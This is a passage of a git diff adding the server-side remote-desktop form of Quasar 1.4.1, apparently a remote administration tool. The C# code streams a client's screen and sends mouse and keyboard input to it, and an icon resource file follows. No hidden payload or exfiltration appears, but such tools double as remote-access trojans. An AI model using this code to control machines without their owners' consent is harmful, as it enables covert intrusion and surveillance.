ToggleConfigurationControls(false); + + picDesktop.Stop(); + // Unsubscribe from the frame counter. It will be re-created when starting again. + picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated); + + this.ActiveControl = picDesktop; + + _remoteDesktopHandler.EndReceiveFrames(); + } + + /// + /// Toggles the activatability of configuration controls in the status/configuration panel. + /// + /// When set to true the configuration controls get enabled, otherwise they get disabled. + private void ToggleConfigurationControls(bool started) + { + btnStart.Enabled = !started; + btnStop.Enabled = started; + barQuality.Enabled = !started; + cbMonitors.Enabled = !started; + numFPS.Enabled = !started; + } + + /// + /// Toggles the visibility of the status/configuration panel. + /// + /// Decides if the panel should be visible. + private void TogglePanelVisibility(bool visible) + { + panelTop.Visible = visible; + btnShow.Visible = !visible; + this.ActiveControl = picDesktop; + } + + /// + /// Called whenever the remote displays changed. + /// + /// The message handler which raised the event. + /// The currently available displays. + private void DisplaysChanged(object sender, int displays) + { + cbMonitors.Items.Clear(); + for (int i = 0; i < displays; i++) + cbMonitors.Items.Add($"Display {i + 1}"); + cbMonitors.SelectedIndex = 0; + } + + /// + /// Updates the current desktop image by drawing it to the desktop picturebox. + /// + /// The message handler which raised the event. + /// The new desktop image to draw. + private void UpdateImage(object sender, Bitmap bmp) + { + picDesktop.UpdateImage(bmp, false); + } + + private void FrmRemoteDesktop_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Remote Desktop", _connectClient); + + OnResize(EventArgs.Empty); // trigger resize event to align controls + + _remoteDesktopHandler.RefreshDisplays(); + } + + /// + /// Updates the title with the current frames per second. + /// + /// The new frames per second. + private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e) + { + this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Desktop", _connectClient), e.CurrentFramesPerSecond.ToString("0.00")); + } + + private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e) + { + // all cleanup logic goes here + UnsubscribeEvents(); + if (_remoteDesktopHandler.IsStarted) StopStream(); + UnregisterMessageHandler(); + _remoteDesktopHandler.Dispose(); + picDesktop.Image?.Dispose(); + } + + private void FrmRemoteDesktop_Resize(object sender, EventArgs e) + { + if (WindowState == FormWindowState.Minimized) + return; + + _remoteDesktopHandler.LocalResolution = picDesktop.Size; + panelTop.Left = (this.Width - panelTop.Width) / 2; + btnShow.Left = (this.Width - btnShow.Width) / 2; + btnHide.Left = (panelTop.Width - btnHide.Width) / 2; + } + + private void btnStart_Click(object sender, EventArgs e) + { + if (cbMonitors.Items.Count == 0) + { + MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.", + "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + SubscribeEvents(); + StartStream(); + } + + private void btnStop_Click(object sender, EventArgs e) + { + UnsubscribeEvents(); + StopStream(); + } + + #region Remote Desktop Input + + private void picDesktop_MouseDown(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + MouseAction action = MouseAction.None; + + if (e.Button == MouseButtons.Left) + action = MouseAction.LeftDown; + if (e.Button == MouseButtons.Right) + action = MouseAction.RightDown; + + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(action, true, e.X, e.Y, selectedDisplayIndex); + } + } + + private void picDesktop_MouseUp(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + MouseAction action = MouseAction.None; + + if (e.Button == MouseButtons.Left) + action = MouseAction.LeftUp; + if (e.Button == MouseButtons.Right) + action = MouseAction.RightUp; + + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(action, false, e.X, e.Y, selectedDisplayIndex); + } + } + + private void picDesktop_MouseMove(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(MouseAction.MoveCursor, false, e.X, e.Y, selectedDisplayIndex); + } + } + + private void OnMouseWheelMove(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + _remoteDesktopHandler.SendMouseEvent(e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown, + false, 0, 0, cbMonitors.SelectedIndex); + } + } + + private void OnKeyDown(object sender, KeyEventArgs e) + { + if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + if (_keysPressed.Contains(e.KeyCode)) + return; + + _keysPressed.Add(e.KeyCode); + + _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, true); + } + } + + private void OnKeyUp(object sender, KeyEventArgs e) + { + if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + _keysPressed.Remove(e.KeyCode); + + _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, false); + } + } + + private bool IsLockKey(Keys key) + { + return ((key & Keys.CapsLock) == Keys.CapsLock) + || ((key & Keys.NumLock) == Keys.NumLock) + || ((key & Keys.Scroll) == Keys.Scroll); + } + + #endregion + + #region Remote Desktop Configuration + + private void barQuality_Scroll(object sender, EventArgs e) + { + int value = barQuality.Value; + lblQualityShow.Text = value.ToString(); + + if (value < 25) + lblQualityShow.Text += " (low)"; + else if (value >= 85) + lblQualityShow.Text += " (best)"; + else if (value >= 75) + lblQualityShow.Text += " (high)"; + else if (value >= 25) + lblQualityShow.Text += " (mid)"; + + this.ActiveControl = picDesktop; + } + + private void btnMouse_Click(object sender, EventArgs e) + { + if (_enableMouseInput) + { + this.picDesktop.Cursor = Cursors.Default; + btnMouse.Image = Properties.Resources.mouse_delete; + toolTipButtons.SetToolTip(btnMouse, "Enable mouse input."); + _enableMouseInput = false; + } + else + { + this.picDesktop.Cursor = Cursors.Hand; + btnMouse.Image = Properties.Resources.mouse_add; + toolTipButtons.SetToolTip(btnMouse, "Disable mouse input."); + _enableMouseInput = true; + } + + this.ActiveControl = picDesktop; + } + + private void btnKeyboard_Click(object sender, EventArgs e) + { + if (_enableKeyboardInput) + { + this.picDesktop.Cursor = Cursors.Default; + btnKeyboard.Image = Properties.Resources.keyboard_delete; + toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input."); + _enableKeyboardInput = false; + } + else + { + this.picDesktop.Cursor = Cursors.Hand; + btnKeyboard.Image = Properties.Resources.keyboard_add; + toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input."); + _enableKeyboardInput = true; + } + + this.ActiveControl = picDesktop; + } + + #endregion + + private void btnHide_Click(object sender, EventArgs e) + { + TogglePanelVisibility(false); + } + + private void btnShow_Click(object sender, EventArgs e) + { + TogglePanelVisibility(true); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.resx new file mode 100755 index 0000000..8a306f9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + k/+ShoD/mY6J/6CXkv+mnJf/r6Sf/6memP+bjoj/fG5p/1lJQ/88LCX/Lx8Y/zMiG/85KSL/OCgi/zkp + Iv85KCH/OCgh/zIiG/8/Lyjjb19YZf///wH///8B////Af///wFSQjt/Oysk8TQkHf83KCH/OSki/zop + Iv8wHxj/KhgQ/1lKRP+imJT/3NnX/9/b2f/Iwr//kYeC/2tdV/9SRD3/Py4o/zgnH/8yIRn/IRAN/3tu + af/z8fD/7evq/2xeWP8lFA3/Lx8Y/zAfGP82Jh//QTAp/1BAOv9sXVb/in13/6GVj/+lmpX/cGNd/zsr + JP8pGBD/OCgh/zkpIv84KCH/OSki/zMjHP8/LyjjbV5XZ////wH///8B////Af///wFTQzx9Oysk8TQk + Hf84KCH/NSUe/y4cFf9RQDn/v7i1/+bj4v/Gwb7/dmlk/z8vKP8qGBD/JhQN/ykZEv8yIhv/OSki/zoq + I/88LCX/MyIZ/6qgnP/7+vr/+fj4/5mPjP8uHhf/PCwl/zoqI/85KSP/OSki/zUlHv8rGxT/JhUN/y8e + F/9GNi//gHNt/5+Uj/9+cWv/NiYe/zIiG/84KCH/OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf84KCH/MCAZ/3BiXP/X0s//zMbD/3dqZP89LCX/KhkS/y8eF/81JR7/OSki/zkp + Iv83JyD/MyMc/zEhGv8tHBb/OCkl/83HxP/+/v7//f39/763tP8yIx//MiIb/zUlHv84KCH/OCgi/zkp + Iv85KSL/OCgh/zUkHf8vHhf/MB4X/0U1Lv98bmj/kIF6/0Y2L/8zIxz/OSki/zMjHP8+LifjbV5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf8yIRv/YVJL/+Hd2v/JwsD/QzIr/y0cFf8zIhv/Nycg/zgo + If83JyD/MSEa/ywcFf80JB3/RTUu/1VFPv9dTUb/f3Br/9/Uz//w5eD/9Ovm/+Tc2P9+b2r/WEhB/0g4 + Mf85KSL/OCgh/zcnIP84KCH/Nycg/zcnIP85KSL/Nycg/zQjHP8xIBn/YlNM/4t7dP89LSb/OCgh/zMj + HP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TMjHP8uHRb/ysK//8zGxP9ALyj/MSEa/zkp + Iv84KCH/Nycg/zMjHP85KSL/bFxV/5uLhP+3p6D/y7u0/9XFvv/fz8j/2cnC/7yrpP+jkov/g3Fq/3Ff + WP9uXlj/X09I/1FBOv84KCH/MiIb/zEhGv8zIxz/NiYf/zcnIP84KCH/OSki/zkoIf85KSL/Lh4X/2VV + Tv9zYlz/MiIb/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TAgGf87KyT/8/Hw/5eM + iP8pGRP/Oioj/zcnH/82Jh//NCQd/0U1Lv+djYb/08O8/9fHwP/Swrv/1MS9/9PDu/+mlpD/YlNN/0Q2 + Mv9AMCv/Szoy/1dGP/9iUUv/bl5X/3JjW/9yYlv/ZVVO/1ZGP/9DMyz/MCAZ/y4eF/81JR7/OSki/zkp + Iv84KCH/NCQd/0MyLP+AcGn/KxsU/zQkHf8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TIj + G/83JyD/pJiT/2ZYUf8yIRr/OCgh/zQkHf84KCH/OCgh/5WFfv/Wxr//zb63/8y8tf/Ovrf/yrqz/25g + W/8wIh//YFNO/5eMif+8sq7/2M7K/97Tzv/ZysP/z762/9PCu//Xx8D/zLy1/8a2r/+1pZ7/jHx1/1dH + QP8wIBn/NCQd/zkpIv84KCH/NSUe/0IyK/94aGH/LR0W/zQkHf8+Lifjbl5XZf///wH///8B////Af// + 